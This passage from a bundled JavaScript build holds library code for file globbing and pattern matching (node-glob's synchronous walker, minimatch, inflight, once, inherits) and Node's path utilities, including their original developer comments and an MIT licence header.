i < entries.length; i++) { var e = entries[i] if (e.charAt(0) !== '.' || dotOk) { var m if (negate && !prefix) { m = !e.match(pn) } else { m = e.match(pn) } if (m) matchedEntries.push(e) } } var len = matchedEntries.length // If there are no matched entries, then nothing matches. if (len === 0) return // if this is the last remaining pattern bit, then no need for // an additional stat *unless* the user has specified mark or // stat explicitly. We know they exist, since readdir returned // them. if (remain.length === 1 && !this.mark && !this.stat) { if (!this.matches[index]) this.matches[index] = Object.create(null) for (var i = 0; i < len; i ++) { var e = matchedEntries[i] if (prefix) { if (prefix.slice(-1) !== '/') e = prefix + '/' + e else e = prefix + e } if (e.charAt(0) === '/' && !this.nomount) { e = path.join(this.root, e) } this.matches[index][e] = true } // This was the last one, and no stats were needed return } // now test all matched entries as stand-ins for that part // of the pattern. remain.shift() for (var i = 0; i < len; i ++) { var e = matchedEntries[i] var newPattern if (prefix) newPattern = [prefix, e] else newPattern = [e] this._process(newPattern.concat(remain), index, inGlobStar) } } GlobSync.prototype._emitMatch = function (index, e) { var abs = this._makeAbs(e) if (this.mark) e = this._mark(e) if (this.matches[index][e]) return if (this.nodir) { var c = this.cache[this._makeAbs(e)] if (c === 'DIR' || Array.isArray(c)) return } this.matches[index][e] = true if (this.stat) this._stat(e) } GlobSync.prototype._readdirInGlobStar = function (abs) { // follow all symlinked directories forever // just proceed as if this is a non-globstar situation if (this.follow) return this._readdir(abs, false) var entries var lstat var stat try { lstat = fs.lstatSync(abs) } catch (er) { // lstat failed, doesn't exist return null } var isSym = lstat.isSymbolicLink() this.symlinks[abs] = isSym // If it's not a symlink or a dir, then it's definitely a regular file. // don't bother doing a readdir in that case. if (!isSym && !lstat.isDirectory()) this.cache[abs] = 'FILE' else entries = this._readdir(abs, false) return entries } GlobSync.prototype._readdir = function (abs, inGlobStar) { var entries if (inGlobStar && !ownProp(this.symlinks, abs)) return this._readdirInGlobStar(abs) if (ownProp(this.cache, abs)) { var c = this.cache[abs] if (!c || c === 'FILE') return null if (Array.isArray(c)) return c } try { return this._readdirEntries(abs, fs.readdirSync(abs)) } catch (er) { this._readdirError(abs, er) return null } } GlobSync.prototype._readdirEntries = function (abs, entries) { // if we haven't asked to stat everything, then just // assume that everything in there exists, so we can avoid // having to stat it a second time. if (!this.mark && !this.stat) { for (var i = 0; i < entries.length; i ++) { var e = entries[i] if (abs === '/') e = abs + e else e = abs + '/' + e this.cache[e] = true } } this.cache[abs] = entries // mark and cache dir-ness return entries } GlobSync.prototype._readdirError = function (f, er) { // handle errors, and cache the information switch (er.code) { case 'ENOTSUP': // https://github.com/isaacs/node-glob/issues/205 case 'ENOTDIR': // totally normal. means it *does* exist. this.cache[this._makeAbs(f)] = 'FILE' break case 'ENOENT': // not terribly unusual case 'ELOOP': case 'ENAMETOOLONG': case 'UNKNOWN': this.cache[this._makeAbs(f)] = false break default: // some unusual error. Treat as failure. this.cache[this._makeAbs(f)] = false if (this.strict) throw er if (!this.silent) console.error('glob error', er) break } } GlobSync.prototype._processGlobStar = function (prefix, read, abs, remain, index, inGlobStar) { var entries = this._readdir(abs, inGlobStar) // no entries means not a dir, so it can never have matches // foo.txt/** doesn't match foo.txt if (!entries) return // test without the globstar, and with every child both below // and replacing the globstar. var remainWithoutGlobStar = remain.slice(1) var gspref = prefix ? [ prefix ] : [] var noGlobStar = gspref.concat(remainWithoutGlobStar) // the noGlobStar pattern exits the inGlobStar state this._process(noGlobStar, index, false) var len = entries.length var isSym = this.symlinks[abs] // If it's a symlink, and we're in a globstar, then stop if (isSym && inGlobStar) return for (var i = 0; i < len; i++) { var e = entries[i] if (e.charAt(0) === '.' && !this.dot) continue // these two cases enter the inGlobStar state var instead = gspref.concat(entries[i], remainWithoutGlobStar) this._process(instead, index, true) var below = gspref.concat(entries[i], remain) this._process(below, index, true) } } GlobSync.prototype._processSimple = function (prefix, index) { // XXX review this. Shouldn't it be doing the mounting etc // before doing stat? kinda weird? var exists = this._stat(prefix) if (!this.matches[index]) this.matches[index] = Object.create(null) // If it doesn't exist, then just mark the lack of results if (!exists) return if (prefix && isAbsolute(prefix) && !this.nomount) { var trail = /[\/\\]$/.test(prefix) if (prefix.charAt(0) === '/') { prefix = path.join(this.root, prefix) } else { prefix = path.resolve(this.root, prefix) if (trail) prefix += '/' } } if (process.platform === 'win32') prefix = prefix.replace(/\\/g, '/') // Mark this as a match this.matches[index][prefix] = true } // Returns either 'DIR', 'FILE', or false GlobSync.prototype._stat = function (f) { var abs = this._makeAbs(f) var needDir = f.slice(-1) === '/' if (f.length > this.maxLength) return false if (!this.stat && ownProp(this.cache, abs)) { var c = this.cache[abs] if (Array.isArray(c)) c = 'DIR' // It exists, but maybe not how we need it if (!needDir || c === 'DIR') return c if (needDir && c === 'FILE') return false // otherwise we have to stat, because maybe c=true // if we know it exists, but not what it is. } var exists var stat = this.statCache[abs] if (!stat) { var lstat try { lstat = fs.lstatSync(abs) } catch (er) { return false } if (lstat.isSymbolicLink()) { try { stat = fs.statSync(abs) } catch (er) { stat = lstat } } else { stat = lstat } } this.statCache[abs] = stat var c = stat.isDirectory() ? 'DIR' : 'FILE' this.cache[abs] = this.cache[abs] || c if (needDir && c !== 'DIR') return false return c } GlobSync.prototype._mark = function (p) { return common.mark(this, p) } GlobSync.prototype._makeAbs = function (f) { return common.makeAbs(this, f) } }).call(this,require('_process')) },{"./common.js":15,"./glob.js":16,"_process":24,"assert":9,"fs":12,"minimatch":20,"path":22,"path-is-absolute":23,"util":28}],18:[function(require,module,exports){ (function (process){ var wrappy = require('wrappy') var reqs = Object.create(null) var once = require('once') module.exports = wrappy(inflight) function inflight (key, cb) { if (reqs[key]) { reqs[key].push(cb) return null } else { reqs[key] = [cb] return makeres(key) } } function makeres (key) { return once(function RES () { var cbs = reqs[key] var len = cbs.length var args = slice(arguments) // XXX It's somewhat ambiguous whether a new callback added in this // pass should be queued for later execution if something in the // list of callbacks throws, or if it should just be discarded. // However, it's such an edge case that it hardly matters, and either // choice is likely as surprising as the other. // As it happens, we do go ahead and schedule it for later execution. try { for (var i = 0; i < len; i++) { cbs[i].apply(null, args) } } finally { if (cbs.length > len) { // added more in the interim. // de-zalgo, just in case, but don't call again. cbs.splice(0, len) process.nextTick(function () { RES.apply(null, args) }) } else { delete reqs[key] } } }) } function slice (args) { var length = args.length var array = [] for (var i = 0; i < length; i++) array[i] = args[i] return array } }).call(this,require('_process')) },{"_process":24,"once":21,"wrappy":29}],19:[function(require,module,exports){ if (typeof Object.create === 'function') { // implementation from standard node.js 'util' module module.exports = function inherits(ctor, superCtor) { ctor.super_ = superCtor ctor.prototype = Object.create(superCtor.prototype, { constructor: { value: ctor, enumerable: false, writable: true, configurable: true } }); }; } else { // old school shim for old browsers module.exports = function inherits(ctor, superCtor) { ctor.super_ = superCtor var TempCtor = function () {} TempCtor.prototype = superCtor.prototype ctor.prototype = new TempCtor() ctor.prototype.constructor = ctor } } },{}],20:[function(require,module,exports){ module.exports = minimatch minimatch.Minimatch = Minimatch var path = { sep: '/' } try { path = require('path') } catch (er) {} var GLOBSTAR = minimatch.GLOBSTAR = Minimatch.GLOBSTAR = {} var expand = require('brace-expansion') var plTypes = { '!': { open: '(?:(?!(?:', close: '))[^/]*?)'}, '?': { open: '(?:', close: ')?' }, '+': { open: '(?:', close: ')+' }, '*': { open: '(?:', close: ')*' }, '@': { open: '(?:', close: ')' } } // any single thing other than / // don't need to escape / when using new RegExp() var qmark = '[^/]' // * => any number of characters var star = qmark + '*?' // ** when dots are allowed. Anything goes, except .. and . // not (^ or / followed by one or two dots followed by $ or /), // followed by anything, any number of times. var twoStarDot = '(?:(?!(?:\\\/|^)(?:\\.{1,2})($|\\\/)).)*?' // not a ^ or / followed by a dot, // followed by anything, any number of times. var twoStarNoDot = '(?:(?!(?:\\\/|^)\\.).)*?' // characters that need to be escaped in RegExp. var reSpecials = charSet('().*{}+?[]^$\\!') // "abc" -> { a:true, b:true, c:true } function charSet (s) { return s.split('').reduce(function (set, c) { set[c] = true return set }, {}) } // normalizes slashes. var slashSplit = /\/+/ minimatch.filter = filter function filter (pattern, options) { options = options || {} return function (p, i, list) { return minimatch(p, pattern, options) } } function ext (a, b) { a = a || {} b = b || {} var t = {} Object.keys(b).forEach(function (k) { t[k] = b[k] }) Object.keys(a).forEach(function (k) { t[k] = a[k] }) return t } minimatch.defaults = function (def) { if (!def || !Object.keys(def).length) return minimatch var orig = minimatch var m = function minimatch (p, pattern, options) { return orig.minimatch(p, pattern, ext(def, options)) } m.Minimatch = function Minimatch (pattern, options) { return new orig.Minimatch(pattern, ext(def, options)) } return m } Minimatch.defaults = function (def) { if (!def || !Object.keys(def).length) return Minimatch return minimatch.defaults(def).Minimatch } function minimatch (p, pattern, options) { if (typeof pattern !== 'string') { throw new TypeError('glob pattern string required') } if (!options) options = {} // shortcut: comments match nothing. if (!options.nocomment && pattern.charAt(0) === '#') { return false } // "" only matches "" if (pattern.trim() === '') return p === '' return new Minimatch(pattern, options).match(p) } function Minimatch (pattern, options) { if (!(this instanceof Minimatch)) { return new Minimatch(pattern, options) } if (typeof pattern !== 'string') { throw new TypeError('glob pattern string required') } if (!options) options = {} pattern = pattern.trim() // windows support: need to use /, not \ if (path.sep !== '/') { pattern = pattern.split(path.sep).join('/') } this.options = options this.set = [] this.pattern = pattern this.regexp = null this.negate = false this.comment = false this.empty = false // make the set of regexps etc. this.make() } Minimatch.prototype.debug = function () {} Minimatch.prototype.make = make function make () { // don't do it more than once. if (this._made) return var pattern = this.pattern var options = this.options // empty patterns and comments match nothing. if (!options.nocomment && pattern.charAt(0) === '#') { this.comment = true return } if (!pattern) { this.empty = true return } // step 1: figure out negation, etc. this.parseNegate() // step 2: expand braces var set = this.globSet = this.braceExpand() if (options.debug) this.debug = console.error this.debug(this.pattern, set) // step 3: now we have a set, so turn each one into a series of path-portion // matching patterns. // These will be regexps, except in the case of "**", which is // set to the GLOBSTAR object for globstar behavior, // and will not contain any / characters set = this.globParts = set.map(function (s) { return s.split(slashSplit) }) this.debug(this.pattern, set) // glob --> regexps set = set.map(function (s, si, set) { return s.map(this.parse, this) }, this) this.debug(this.pattern, set) // filter out everything that didn't compile properly. set = set.filter(function (s) { return s.indexOf(false) === -1 }) this.debug(this.pattern, set) this.set = set } Minimatch.prototype.parseNegate = parseNegate function parseNegate () { var pattern = this.pattern var negate = false var options = this.options var negateOffset = 0 if (options.nonegate) return for (var i = 0, l = pattern.length ; i < l && pattern.charAt(i) === '!' ; i++) { negate = !negate negateOffset++ } if (negateOffset) this.pattern = pattern.substr(negateOffset) this.negate = negate } // Brace expansion: // a{b,c}d -> abd acd // a{b,}c -> abc ac // a{0..3}d -> a0d a1d a2d a3d // a{b,c{d,e}f}g -> abg acdfg acefg // a{b,c}d{e,f}g -> abdeg acdeg abdeg abdfg // // Invalid sets are not expanded. // a{2..}b -> a{2..}b // a{b}c -> a{b}c minimatch.braceExpand = function (pattern, options) { return braceExpand(pattern, options) } Minimatch.prototype.braceExpand = braceExpand function braceExpand (pattern, options) { if (!options) { if (this instanceof Minimatch) { options = this.options } else { options = {} } } pattern = typeof pattern === 'undefined' ? this.pattern : pattern if (typeof pattern === 'undefined') { throw new TypeError('undefined pattern') } if (options.nobrace || !pattern.match(/\{.*\}/)) { // shortcut. no need to expand. return [pattern] } return expand(pattern) } // parse a component of the expanded set. // At this point, no pattern may contain "/" in it // so we're going to return a 2d array, where each entry is the full // pattern, split on '/', and then turned into a regular expression. // A regexp is made at the end which joins each array with an // escaped /, and another full one which joins each regexp with |. // // Following the lead of Bash 4.1, note that "**" only has special meaning // when it is the *only* thing in a path portion. Otherwise, any series // of * is equivalent to a single *. Globstar behavior is enabled by // default, and can be disabled by setting options.noglobstar. Minimatch.prototype.parse = parse var SUBPARSE = {} function parse (pattern, isSub) { if (pattern.length > 1024 * 64) { throw new TypeError('pattern is too long') } var options = this.options // shortcuts if (!options.noglobstar && pattern === '**') return GLOBSTAR if (pattern === '') return '' var re = '' var hasMagic = !!options.nocase var escaping = false // ? => one single character var patternListStack = [] var negativeLists = [] var stateChar var inClass = false var reClassStart = -1 var classStart = -1 // . and .. never match anything that doesn't start with ., // even when options.dot is set. var patternStart = pattern.charAt(0) === '.' ? '' // anything // not (start or / followed by . or .. followed by / or end) : options.dot ? '(?!(?:^|\\\/)\\.{1,2}(?:$|\\\/))' : '(?!\\.)' var self = this function clearStateChar () { if (stateChar) { // we had some state-tracking character // that wasn't consumed by this pass. switch (stateChar) { case '*': re += star hasMagic = true break case '?': re += qmark hasMagic = true break default: re += '\\' + stateChar break } self.debug('clearStateChar %j %j', stateChar, re) stateChar = false } } for (var i = 0, len = pattern.length, c ; (i < len) && (c = pattern.charAt(i)) ; i++) { this.debug('%s\t%s %s %j', pattern, i, re, c) // skip over any that are escaped. if (escaping && reSpecials[c]) { re += '\\' + c escaping = false continue } switch (c) { case '/': // completely not allowed, even escaped. // Should already be path-split by now. return false case '\\': clearStateChar() escaping = true continue // the various stateChar values // for the "extglob" stuff. case '?': case '*': case '+': case '@': case '!': this.debug('%s\t%s %s %j <-- stateChar', pattern, i, re, c) // all of those are literals inside a class, except that // the glob [!a] means [^a] in regexp if (inClass) { this.debug(' in class') if (c === '!' && i === classStart + 1) c = '^' re += c continue } // if we already have a stateChar, then it means // that there was something like ** or +? in there. // Handle the stateChar, then proceed with this one. self.debug('call clearStateChar %j', stateChar) clearStateChar() stateChar = c // if extglob is disabled, then +(asdf|foo) isn't a thing. // just clear the statechar *now*, rather than even diving into // the patternList stuff. if (options.noext) clearStateChar() continue case '(': if (inClass) { re += '(' continue } if (!stateChar) { re += '\\(' continue } patternListStack.push({ type: stateChar, start: i - 1, reStart: re.length, open: plTypes[stateChar].open, close: plTypes[stateChar].close }) // negation is (?:(?!js)[^/]*) re += stateChar === '!' ? '(?:(?!(?:' : '(?:' this.debug('plType %j %j', stateChar, re) stateChar = false continue case ')': if (inClass || !patternListStack.length) { re += '\\)' continue } clearStateChar() hasMagic = true var pl = patternListStack.pop() // negation is (?:(?!js)[^/]*) // The others are (?:) re += pl.close if (pl.type === '!') { negativeLists.push(pl) } pl.reEnd = re.length continue case '|': if (inClass || !patternListStack.length || escaping) { re += '\\|' escaping = false continue } clearStateChar() re += '|' continue // these are mostly the same in regexp and glob case '[': // swallow any state-tracking char before the [ clearStateChar() if (inClass) { re += '\\' + c continue } inClass = true classStart = i reClassStart = re.length re += c continue case ']': // a right bracket shall lose its special // meaning and represent itself in // a bracket expression if it occurs // first in the list. -- POSIX.2 2.8.3.2 if (i === classStart + 1 || !inClass) { re += '\\' + c escaping = false continue } // handle the case where we left a class open. // "[z-a]" is valid, equivalent to "\[z-a\]" if (inClass) { // split where the last [ was, make sure we don't have // an invalid re. if so, re-walk the contents of the // would-be class to re-translate any characters that // were passed through as-is // TODO: It would probably be faster to determine this // without a try/catch and a new RegExp, but it's tricky // to do safely. For now, this is safe and works. var cs = pattern.substring(classStart + 1, i) try { RegExp('[' + cs + ']') } catch (er) { // not a valid class! var sp = this.parse(cs, SUBPARSE) re = re.substr(0, reClassStart) + '\\[' + sp[0] + '\\]' hasMagic = hasMagic || sp[1] inClass = false continue } } // finish up the class. hasMagic = true inClass = false re += c continue default: // swallow any state char that wasn't consumed clearStateChar() if (escaping) { // no need escaping = false } else if (reSpecials[c] && !(c === '^' && inClass)) { re += '\\' } re += c } // switch } // for // handle the case where we left a class open. // "[abc" is valid, equivalent to "\[abc" if (inClass) { // split where the last [ was, and escape it // this is a huge pita. We now have to re-walk // the contents of the would-be class to re-translate // any characters that were passed through as-is cs = pattern.substr(classStart + 1) sp = this.parse(cs, SUBPARSE) re = re.substr(0, reClassStart) + '\\[' + sp[0] hasMagic = hasMagic || sp[1] } // handle the case where we had a +( thing at the *end* // of the pattern. // each pattern list stack adds 3 chars, and we need to go through // and escape any | chars that were passed through as-is for the regexp. // Go through and escape them, taking care not to double-escape any // | chars that were already escaped. for (pl = patternListStack.pop(); pl; pl = patternListStack.pop()) { var tail = re.slice(pl.reStart + pl.open.length) this.debug('setting tail', re, pl) // maybe some even number of \, then maybe 1 \, followed by a | tail = tail.replace(/((?:\\{2}){0,64})(\\?)\|/g, function (_, $1, $2) { if (!$2) { // the | isn't already escaped, so escape it. $2 = '\\' } // need to escape all those slashes *again*, without escaping the // one that we need for escaping the | character. As it works out, // escaping an even number of slashes can be done by simply repeating // it exactly after itself. That's why this trick works. // // I am sorry that you have to see this. return $1 + $1 + $2 + '|' }) this.debug('tail=%j\n %s', tail, tail, pl, re) var t = pl.type === '*' ? star : pl.type === '?' ? qmark : '\\' + pl.type hasMagic = true re = re.slice(0, pl.reStart) + t + '\\(' + tail } // handle trailing things that only matter at the very end. clearStateChar() if (escaping) { // trailing \\ re += '\\\\' } // only need to apply the nodot start if the re starts with // something that could conceivably capture a dot var addPatternStart = false switch (re.charAt(0)) { case '.': case '[': case '(': addPatternStart = true } // Hack to work around lack of negative lookbehind in JS // A pattern like: *.!(x).!(y|z) needs to ensure that a name // like 'a.xyz.yz' doesn't match. So, the first negative // lookahead, has to look ALL the way ahead, to the end of // the pattern. for (var n = negativeLists.length - 1; n > -1; n--) { var nl = negativeLists[n] var nlBefore = re.slice(0, nl.reStart) var nlFirst = re.slice(nl.reStart, nl.reEnd - 8) var nlLast = re.slice(nl.reEnd - 8, nl.reEnd) var nlAfter = re.slice(nl.reEnd) nlLast += nlAfter // Handle nested stuff like *(*.js|!(*.json)), where open parens // mean that we should *not* include the ) in the bit that is considered // "after" the negated section. var openParensBefore = nlBefore.split('(').length - 1 var cleanAfter = nlAfter for (i = 0; i < openParensBefore; i++) { cleanAfter = cleanAfter.replace(/\)[+*?]?/, '') } nlAfter = cleanAfter var dollar = '' if (nlAfter === '' && isSub !== SUBPARSE) { dollar = '$' } var newRe = nlBefore + nlFirst + nlAfter + dollar + nlLast re = newRe } // if the re is not "" at this point, then we need to make sure // it doesn't match against an empty path part. // Otherwise a/* will match a/, which it should not. if (re !== '' && hasMagic) { re = '(?=.)' + re } if (addPatternStart) { re = patternStart + re } // parsing just a piece of a larger pattern. if (isSub === SUBPARSE) { return [re, hasMagic] } // skip the regexp for non-magical patterns // unescape anything in it, though, so that it'll be // an exact match against a file etc. if (!hasMagic) { return globUnescape(pattern) } var flags = options.nocase ? 'i' : '' try { var regExp = new RegExp('^' + re + '$', flags) } catch (er) { // If it was an invalid regular expression, then it can't match // anything. This trick looks for a character after the end of // the string, which is of course impossible, except in multi-line // mode, but it's not a /m regex. return new RegExp('$.') } regExp._glob = pattern regExp._src = re return regExp } minimatch.makeRe = function (pattern, options) { return new Minimatch(pattern, options || {}).makeRe() } Minimatch.prototype.makeRe = makeRe function makeRe () { if (this.regexp || this.regexp === false) return this.regexp // at this point, this.set is a 2d array of partial // pattern strings, or "**". // // It's better to use .match(). This function shouldn't // be used, really, but it's pretty convenient sometimes, // when you just want to work with a regex. var set = this.set if (!set.length) { this.regexp = false return this.regexp } var options = this.options var twoStar = options.noglobstar ? star : options.dot ? twoStarDot : twoStarNoDot var flags = options.nocase ? 'i' : '' var re = set.map(function (pattern) { return pattern.map(function (p) { return (p === GLOBSTAR) ? twoStar : (typeof p === 'string') ? regExpEscape(p) : p._src }).join('\\\/') }).join('|') // must match entire pattern // ending in a * or ** will make it less strict. re = '^(?:' + re + ')$' // can match anything, as long as it's not this. if (this.negate) re = '^(?!' + re + ').*$' try { this.regexp = new RegExp(re, flags) } catch (ex) { this.regexp = false } return this.regexp } minimatch.match = function (list, pattern, options) { options = options || {} var mm = new Minimatch(pattern, options) list = list.filter(function (f) { return mm.match(f) }) if (mm.options.nonull && !list.length) { list.push(pattern) } return list } Minimatch.prototype.match = match function match (f, partial) { this.debug('match', f, this.pattern) // short-circuit in the case of busted things. // comments, etc. if (this.comment) return false if (this.empty) return f === '' if (f === '/' && partial) return true var options = this.options // windows: need to use /, not \ if (path.sep !== '/') { f = f.split(path.sep).join('/') } // treat the test path as a set of pathparts. f = f.split(slashSplit) this.debug(this.pattern, 'split', f) // just ONE of the pattern sets in this.set needs to match // in order for it to be valid. If negating, then just one // match means that we have failed. // Either way, return on the first hit. var set = this.set this.debug(this.pattern, 'set', set) // Find the basename of the path by looking for the last non-empty segment var filename var i for (i = f.length - 1; i >= 0; i--) { filename = f[i] if (filename) break } for (i = 0; i < set.length; i++) { var pattern = set[i] var file = f if (options.matchBase && pattern.length === 1) { file = [filename] } var hit = this.matchOne(file, pattern, partial) if (hit) { if (options.flipNegate) return true return !this.negate } } // didn't get any hits. this is success if it's a negative // pattern, failure otherwise. if (options.flipNegate) return false return this.negate } // set partial to true to test if, for example, // "/a/b" matches the start of "/*/b/*/d" // Partial means, if you run out of file before you run // out of pattern, then that's fine, as long as all // the parts match. Minimatch.prototype.matchOne = function (file, pattern, partial) { var options = this.options this.debug('matchOne', { 'this': this, file: file, pattern: pattern }) this.debug('matchOne', file.length, pattern.length) for (var fi = 0, pi = 0, fl = file.length, pl = pattern.length ; (fi < fl) && (pi < pl) ; fi++, pi++) { this.debug('matchOne loop') var p = pattern[pi] var f = file[fi] this.debug(pattern, p, f) // should be impossible. // some invalid regexp stuff in the set. if (p === false) return false if (p === GLOBSTAR) { this.debug('GLOBSTAR', [pattern, p, f]) // "**" // a/**/b/**/c would match the following: // a/b/x/y/z/c // a/x/y/z/b/c // a/b/x/b/x/c // a/b/c // To do this, take the rest of the pattern after // the **, and see if it would match the file remainder. // If so, return success. // If not, the ** "swallows" a segment, and try again. // This is recursively awful. // // a/**/b/**/c matching a/b/x/y/z/c // - a matches a // - doublestar // - matchOne(b/x/y/z/c, b/**/c) // - b matches b // - doublestar // - matchOne(x/y/z/c, c) -> no // - matchOne(y/z/c, c) -> no // - matchOne(z/c, c) -> no // - matchOne(c, c) yes, hit var fr = fi var pr = pi + 1 if (pr === pl) { this.debug('** at the end') // a ** at the end will just swallow the rest. // We have found a match. // however, it will not swallow /.x, unless // options.dot is set. // . and .. are *never* matched by **, for explosively // exponential reasons. for (; fi < fl; fi++) { if (file[fi] === '.' || file[fi] === '..' || (!options.dot && file[fi].charAt(0) === '.')) return false } return true } // ok, let's see if we can swallow whatever we can. while (fr < fl) { var swallowee = file[fr] this.debug('\nglobstar while', file, fr, pattern, pr, swallowee) // XXX remove this slice. Just pass the start index. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { this.debug('globstar found match!', fr, fl, swallowee) // found a match. return true } else { // can't swallow "." or ".." ever. // can only swallow ".foo" when explicitly asked. if (swallowee === '.' || swallowee === '..' || (!options.dot && swallowee.charAt(0) === '.')) { this.debug('dot detected!', file, fr, pattern, pr) break } // ** swallows a segment, and continue. this.debug('globstar swallow a segment, and continue') fr++ } } // no match was found. // However, in partial mode, we can't say this is necessarily over. // If there's more *pattern* left, then if (partial) { // ran out of file this.debug('\n>>> no match, partial?', file, fr, pattern, pr) if (fr === fl) return true } return false } // something other than ** // non-magic patterns just have to match exactly // patterns with magic have been turned into regexps. var hit if (typeof p === 'string') { if (options.nocase) { hit = f.toLowerCase() === p.toLowerCase() } else { hit = f === p } this.debug('string match', p, f, hit) } else { hit = f.match(p) this.debug('pattern match', p, f, hit) } if (!hit) return false } // Note: ending in / means that we'll get a final "" // at the end of the pattern. This can only match a // corresponding "" at the end of the file. // If the file ends in /, then it can only match a // a pattern that ends in /, unless the pattern just // doesn't have any more for it. But, a/b/ should *not* // match "a/b/*", even though "" matches against the // [^/]*? pattern, except in partial mode, where it might // simply not be reached yet. // However, a/b/ should still satisfy a/* // now either we fell off the end of the pattern, or we're done. if (fi === fl && pi === pl) { // ran out of pattern and filename at the same time. // an exact hit! return true } else if (fi === fl) { // ran out of file, but still had pattern left. // this is ok if we're doing the match as part of // a glob fs traversal. return partial } else if (pi === pl) { // ran out of pattern, still have file left. // this is only acceptable if we're on the very last // empty segment of a file with a trailing slash. // a/* should match a/b/ var emptyFileEnd = (fi === fl - 1) && (file[fi] === '') return emptyFileEnd } // should be unreachable. throw new Error('wtf?') } // replace stuff like \* with * function globUnescape (s) { return s.replace(/\\(.)/g, '$1') } function regExpEscape (s) { return s.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, '\\$&') } },{"brace-expansion":11,"path":22}],21:[function(require,module,exports){ var wrappy = require('wrappy') module.exports = wrappy(once) module.exports.strict = wrappy(onceStrict) once.proto = once(function () { Object.defineProperty(Function.prototype, 'once', { value: function () { return once(this) }, configurable: true }) Object.defineProperty(Function.prototype, 'onceStrict', { value: function () { return onceStrict(this) }, configurable: true }) }) function once (fn) { var f = function () { if (f.called) return f.value f.called = true return f.value = fn.apply(this, arguments) } f.called = false return f } function onceStrict (fn) { var f = function () { if (f.called) throw new Error(f.onceError) f.called = true return f.value = fn.apply(this, arguments) } var name = fn.name || 'Function wrapped with `once`' f.onceError = name + " shouldn't be called more than once" f.called = false return f } },{"wrappy":29}],22:[function(require,module,exports){ (function (process){ // Copyright Joyent, Inc. and other Node contributors. // // Permission is hereby granted, free of charge, to any person obtaining a // copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to permit // persons to whom the Software is furnished to do so, subject to the // following conditions: // // The above copyright notice and this permission notice shall be included // in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN // NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, // DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE // USE OR OTHER DEALINGS IN THE SOFTWARE. // resolves . and .. elements in a path array with directory names there // must be no slashes, empty elements, or device names (c:\) in the array // (so also no leading and trailing slashes - it does not distinguish // relative and absolute paths) function normalizeArray(parts, allowAboveRoot) { // if the path tries to go above the root, `up` ends up > 0 var up = 0; for (var i = parts.length - 1; i >= 0; i--) { var last = parts[i]; if (last === '.') { parts.splice(i, 1); } else if (last === '..') { parts.splice(i, 1); up++; } else if (up) { parts.splice(i, 1); up--; } } // if the path is allowed to go above the root, restore leading ..s if (allowAboveRoot) { for (; up--; up) { parts.unshift('..'); } } return parts; } // Split a filename into [root, dir, basename, ext], unix version // 'root' is just a slash, or nothing. var splitPathRe = /^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/; var splitPath = function(filename) { return splitPathRe.exec(filename).slice(1); }; // path.resolve([from ...], to) // posix version exports.resolve = function() { var resolvedPath = '', resolvedAbsolute = false; for (var i = arguments.length - 1; i >= -1 && !resolvedAbsolute; i--) { var path = (i >= 0) ? arguments[i] : process.cwd(); // Skip empty and invalid entries if (typeof path !== 'string') { throw new TypeError('Arguments to path.resolve must be strings'); } else if (!path) { continue; } resolvedPath = path + '/' + resolvedPath; resolvedAbsolute = path.charAt(0) === '/'; } // At this point the path should be resolved to a full absolute path, but // handle relative paths to be safe (might happen when process.cwd() fails) // Normalize the path resolvedPath = normalizeArray(filter(resolvedPath.split('/'), function(p) { return !!p; }), !resolvedAbsolute).join('/'); return ((resolvedAbsolute ? '/' : '') + resolvedPath) || '.'; }; // path.normalize(path) // posix version exports.normalize = function(path) { var isAbsolute = exports.isAbsolute(path), trailingSlash = substr(path, -1) === '/'; // Normalize the path path = normalizeArray(filter(path.split('/'), function(p) { return !!p; }), !isAbsolute).join('/'); if (!path && !isAbsolute) { path = '.'; } if (path && trailingSlash) { path += '/'; } return (isAbsolute ? '/' : '') + path; }; // posix version exports.isAbsolute = function(path) { return path.charAt(0) === '/'; }; // posix version exports.join = function() { var paths = Array.prototype.slice.call(arguments, 0); return exports.normalize(filter(paths, function(p, index) { if (typeof p !== 'string') { throw new TypeError('Arguments to path.join must be strings'); } return p; }).join('/')); }; // path.relative(from, to) // posix version exports.relative = function(from, to) { from = exports.resolve(from).substr(1); to = exports.resolve(to).substr(1); function trim(arr) { var start = 0; for (; start < arr.length; start++) { if (arr[start] !== '') break; } var end = arr.length - 1; for (; end >= 0; end--) { if (arr[end] !== '') break; } if (start > end) return []; return arr.slice(start, end - start + 1); } var fromParts = trim(from.split('/')); var toParts = trim(to.split('/')); var length = Math.min(fromParts.length, toParts.length); var samePartsLength = length; for (var i = 0; i < length; i++) { if (fromParts[i] !== toParts[i]) { samePartsLength = i; break; } } var outputParts = []; for (var i = samePartsLength; i < fromParts.length; i++) { outputParts.push('..'); } outputParts = outputParts.concat(toParts.slice(samePartsLength)); return outputParts.join('/'); }; exports.sep = '/'; exports.delimiter = ':'; exports.dirname = function(path) { var result = splitPath(path), root = result[0], dir = result[1]; if (!root && !dir) { // No dirname whatsoever return '.'; } if (dir) { // It has a dirname, strip trailing slash dir = dir.substr(0, dir.length - 1); } return root + dir; }; exports.basename = function(path, ext) { var f = splitPath(path)[2]; // TODO: make this comparison case-insensitive on windows? if (ext && f.substr(-1 * ext.length) === ext) { f = f.substr(0, f.length - ext.length); } return f; }; exports.extname = function(path) { return splitPath(path)[3]; }; function filter (xs, f) { if (xs.filter) return xs.filter(f); var res = []; for (var i = 0; i < xs.length; i++) { if (f(xs[i], i, xs)) res.push(xs[i]); } return res; } // String.prototype.substr - negative index don't work in IE8 var substr = 'ab'.substr(-1) === 'b' ? function (str, start, len) { return str.substr(start, len) } : function (str, start, len) { if (start < 0) start = str.length + start; return str.substr(start, len); } ; }).call(this,require('_process')) },{"_process":24}],23:[function(require,module,exports){ (function 